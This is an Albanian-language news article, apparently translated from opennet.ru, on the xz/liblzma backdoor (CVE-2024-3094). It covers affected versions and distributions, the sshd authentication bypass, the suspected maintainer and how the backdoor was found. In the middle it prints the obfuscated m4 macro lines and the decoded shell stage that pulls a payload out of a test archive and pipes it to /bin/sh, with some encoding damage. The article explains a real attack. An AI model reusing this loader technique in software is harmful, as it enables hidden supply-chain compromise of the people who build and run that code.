Në bibliotekën xz/liblzma u zbulua një backdoor që organizon hyrjen përmes sshd

Në paketën XZ Utils, që përfshin bibliotekën liblzma dhe utilitat për punën me të dhënat e kompresuara në formatin '.xz', është zbuluar një backdoor (CVE-2024-3094) që lejon kapjen dhe modifikimin e të dhënave që përpunohen nga aplikacione që lidhen me bibliotekën liblzma. Qëllimi kryesor i backdoor-it është serveri OpenSSH, i lidhur në disa distribucione me bibliotekën libsystemd, e cila, nga ana tjetër, përdor liblzma. Lidhja e sshd me bibliotekën e cenueshme lejon sulmuesit të aksesojnë serverin SSH pa autentifikim.

Backdoor-i ishte i pranishëm në versionet zyrtare 5.6.0 dhe 5.6.1, të publikuara më 24 shkurt dhe 9 mars, të cilat arritën të ishin pjesë e disa distribucioneve dhe repozitorëve, si Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide dhe 40-beta, openSUSE factory dhe tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Shtojmë se të gjithë përdoruesit e versioneve xz 5.6.0 dhe 5.6.1 rekomandohet të kthehen urgjentisht në versionin 5.4.6.

Nga faktorët që e lehtësojnë problemin mund të përmendet se versioni liblzma me backdoor nuk arriti të përfshihet në versionet stabile të distribucioneve kryesore, por ndodhi në openSUSE Tumbleweed dhe Fedora 40-beta. Arch Linux dhe Gentoo përdoren versionin e cenueshëm zx, por nuk janë të ndjeshëm ndaj sulmit, pasi nuk aplikojnë patch-in për openssh për mbështetje systemd-notify, që çon në lidhjen e sshd me liblzma. Backdoor-i godet vetëm sistemet x86_64 mbi bërthamën Linux dhe bibliotekën C Glibc.

Kodi i aktivizimit të backdoor-it ishte fshehur në makros të m4 nga skedari build-to-host.m4, që përdoret nga instrumenti automake gjatë ndërtimit. Gjatë ndërtimit, përmes operacioneve të komplikuara obfuscate të bazuara në arkiva (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), që përdoren për testimin e funksionimit të saktë, formohej një skedar objekt me kod të dëmshëm, që përfshihej në bibliotekën liblzma dhe ndryshonte logjikën e funksioneve të saj. Makrosat m4 që aktivizojnë backdoor-in ishin pjesë e arkivave tar të publikimeve, por nuk ishin të pranishme në repozitorin Git. Ndërkohë, arkivat testuese të dëmshëm ishin të pranishme në repozitor, dmth. ai që infiltronte backdoor-in kishte akses si në repozit, ashtu edhe në proceset e formimit të publikimeve.

Kur përdoret liblzma në aplikacione, ndryshime të dëmshme mund të përdoren për të kapur ose modifikuar të dhënat, si dhe për të ndikuar në funksionimin e sshd. Në veçanti, kodi i dëmshëm zëvendësonte funksionin RSA_public_decrypt për të anashkaluar procesin e autentifikimit në sshd. Backdoor kishte mbrojtje nga zbulesa dhe nuk shfaqej kur variablat e mjedisit LANG dhe TERM ishin të vendosur (dmth. kur procesi fillohej në terminal) dhe kur variablat e mjedisit LD_DEBUG dhe LD_PROFILE nuk ishin të vendosur, dhe aktivizohej vetëm gjatë ekzekutimit të skedarit të ekzekutueshëm /usr/sbin/sshd. Në backdoor gjithashtu kishte mjete për të zbuluar ekzekutimin në mjedise debug.

NĂ« veçanti, nĂ« skedarin m4/build-to-host.m4 u pĂ«rdorĂ«n konstruksione gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` 
 gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

NĂ« konstruksionin e parĂ«, operacioni grep gjente skedarin tests/files/bad-3-corrupt_lzma2.xz, nga shpĂ«rbĂ«rja e tĂ« cilit formohej skenari: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Mënyra se si hakerët arritën të fitonin akses në infrastrukturën e projektit xz nuk është ende e qartë. Po ashtu, nuk dihet sa përdorues dhe projekte janë komprometuar si rezultat i veprimit të backdoor-it. Autori i dyshuar i backdoor-it (JiaT75 - Jia Tan), i cili ka postuar në repository arkiva me kod të keq, ka biseduar me zhvilluesit e Fedora dhe ka dërguar kërkesa për të bashkuar në Debian, lidhur me kalimin e distribucioneve në degën xz 5.6.0, pa shkaktuar dyshime, pasi ka marrë pjesë në zhvillimin e xz për dy vitet e fundit dhe është zhvilluesi i dytë në numrin e ndryshimeve të bëra. Përveç projektit xz, autori i dyshuar i backdoor-it ka marrë pjesë gjithashtu në zhvillimin e pakove xz-java dhe xz-embedded. Më tepër, Jia Tan u përfshi disa ditë më parë në mesin e manjatëve të projektit XZ Embedded, i përdorur në bërthamën Linux.

Ndryshimi i keq u identifikua pas analizës së konsumit të tepruar të CPU-së dhe gabimeve të raportuara nga valgrind, kur lidhej përmes ssh me sistemet në bazë të Debian sid. E veçanta është se në lëshimin xz 5.6.1 u përfshinë ndryshime të përgatitura nga autori i dyshuar i backdoor-it si përgjigje ndaj ankesave për ngadalësimin e punës dhe dështimet e sshd, të shkaktuar pas përditësimit në versionin zx 5.6.0 me backdoor. Për më tepër, vitin e kaluar, Jia Tan bëri ndryshime të papajtueshme me modalitetin e verifikimit "-fsanitize=address", që çoi në çaktivizimin e tij gjatë testimit fuzzing.

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster